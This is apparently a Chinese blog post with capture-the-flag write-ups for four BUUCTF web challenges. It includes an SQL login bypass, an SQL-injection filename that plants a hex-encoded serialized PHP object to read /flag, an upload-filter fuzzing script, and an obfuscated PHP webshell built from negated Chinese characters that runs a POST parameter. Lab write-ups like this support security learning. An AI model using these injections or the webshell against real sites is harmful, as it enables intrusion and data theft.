buu22

[MRCTF2020]Ezaudit

随手试了一下www.zip==又有源码了,

前面就是登陆啥啥啥的,看了一下关键是要有private_key,所以看了一下下面的代码,使用mt_rand构造的公钥和私钥,所以只要我们获得随机数种子就行了

img

和buu14里面的题目一样的,不过最后要到login.html进行登录,密码可以用万能钥匙’or 1=1’1
这里有个大坑,以前没有注意过
img

这里要求php的版本是要在5.2.1到7.0.x之间的,不然出来的秘钥是不匹配的

[GXYCTF2019]StrongestMind

计算成功1000次看起来是要写个脚本
改天一定要学学算法,感觉自己写的代码都好冗长,可以去世了,测试是可以的,但是由于现在buu限制了,一下子发送太多请求直接500了,服惹弄了时间间隔也没用,so下一题了

import requests
import re
import time
url="http://e96f1fb4-3b45-487a-ada1-2465e38d9be2.node4.buuoj.cn/"
s=requests.session()
r = s.post(url=url).text
r1=''
for i in range(0,10000):
if i!=0:
r=r1
answer1=re.compile(r'<br><br>\d{8}',re.S).findall(r)[0].replace('<br><br>','')
answer2=re.compile(r'\d{8}<br><br>',re.S).findall(r)[0].replace('<br><br>','')
sign=re.compile(r' \W ',re.S).findall(r)[0].replace(' ','')
answer1=float(answer1)
answer2=float(answer2)
if '+' == sign:
fina_answer=answer1+answer2
else:
fina_answer = answer1-answer2
data={
"answer":fina_answer
}
r1 = s.post(url=url, data=data).text
#print(r1)
print('*'*25)
if "bingo!" in r1:
print(i)
time.sleep(0.5)

[安洵杯 2019]不是文件上传

前置知识

做题过程中遇到不熟悉的知识点写在前面比较好

php—foreach理解

<?php

$arr = [1, 2, 3, 4];
foreach($arr as &$value) {
$value = $value * 2;
}

// $arr is now [2, 4, 6, 8]
unset($value); // 最后取消掉引用
<?php
$arr = [1, 2, 3];

foreach ($arr as $k => &$v) {
$v = $v * 2;
}
//$arr=2 4 6

原题目有文件泄露所以直接上github下载一下源码
然后开始审计~:
在helper.php中看到一处序列化,其中这个my_ext是图片的大小,即宽度和高度
img

getfile()方法,存在check机制
img

严格的白名单检测机制,因为
strrchr() 函数
(在php中)查找字符在指定字符串中从右面开始的第一次出现的位置,
img
这里有个文件读取,但是path似乎被写死了,暂时还没找到利用点img
继续看一下其他文件,在show.php中看到了显示文件的代码,对attr_temp的内容进行反序列化,前面对它是进行了序列化的
img

解题思路

题目给了反序列化,但是没看到一些有用的跳板,感觉是要结合数据库进行攻击,最后利用file_get_contents得到flag,但是感觉对于那些值可控有点茫然,所以决定传值跟一下
首先是数据库配置:

create database pic_base
img img

可以发现文件名是可控的并且最后是attr参与反序列化,注意到又包含了helper.php,所以感觉是可以进行config值的更改的
img

所以思路如下:

首先构造反序列化对config重新赋值,然后通过sql注入使本来应该title的序列化语句跑到attr字段,然后通过访问该图片,即可获得flag
构造反序列化语句

class helper{
protected $ifview=True;
protected $config="/flag";
}
$a=new helper();
echo bin2hex(serialize($a);

然后由于这个是protectedimg

并且题目中对*号做了处理,所以我们对其进行十六进制加密就行了
img

0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

然后构造sql注入语句,抓包改文件名

1','1','1','1','0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d')#
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('12','534b340ce39e1079.jpg','jpg','pic/534b340ce39e1079.jpg','a:2:{s:5:"width";i:969;s:6:"height";i:335;}')

成功插入img
获得flag
img

[SUCTF 2018]GetShell

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

看源码,他除了源码的前五位不检查,其他都会和黑名单比对,但是我们不知道过滤了啥,所以需要fuzz一下,顺便学习一下如何编写文件上传的脚本

import requests
url =r"http://c86c138f-b79c-45a8-9f85-6841c06aafcc.node4.buuoj.cn/index.php?act=upload"
s=requests.session()
headers = s.get(url).headers
def upload_post(url):
str_list=[]
for i in range(33,127):
str_list.append(chr(i))
for str in str_list:
file_post=f"""
-----------------------------380760932532682480232707439734
Content-Disposition: form-data; name="file"; filename="屏幕截图(3).png"
Content-Type: image/png

12345{str}
-----------------------------380760932532682480232707439734
Content-Disposition: form-data; name="submit"

提交
-----------------------------380760932532682480232707439734--
"""
r=s.post(url,headers=headers,data=file_post.encode('UTF-8'))
print(r.text)
if 'Stored' in r.text:
print("该字符可以通过: {0}".format(str))
else:
print("过滤字符: {0}".format(str))
if __name__ == '__main__':
upload_post(url)

经过测试可以通过的字符有:$().;=[]_~,然后就是汉字了
接下里的思路就是思考一下如何构造马去进行上传,如何通过现有字符构造出被过滤的字符,用得一般就是异或操作或者取反,但是异或符号被过滤了,所以这里就用取反去构造

<?php
$__ = [];
$_ = ($__ == $__);//$_ = 1

$__ = ~(融);
$___ = $__[$_];
print($___);//输出a

通过以上方法我们可以构造出我们需要的字母,接下来写一个fuzz脚本:

<?php
error_reporting(0);
header('Content-Type: text/html;charset=utf-8');
function str_split_unicode($str,$l=0){
if($l>0){
$ret=array();
$len=mb_strlen($str,'UTF-8');//mb_strlen获取长度
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);//preg_split — 通过一个正则表达式分隔字符串,返回汉字
}

$s = '放你的汉字要多一点才行';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}

接下来构造马:

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
POST:
a=env

然后访问环境变量就可以看到flag了,为啥是环境变量=-=,好像是题目出了问题,本来在根目录的,

Author

vague huang

Posted on

2021-07-22

Updated on

2021-07-22

Licensed under

Comments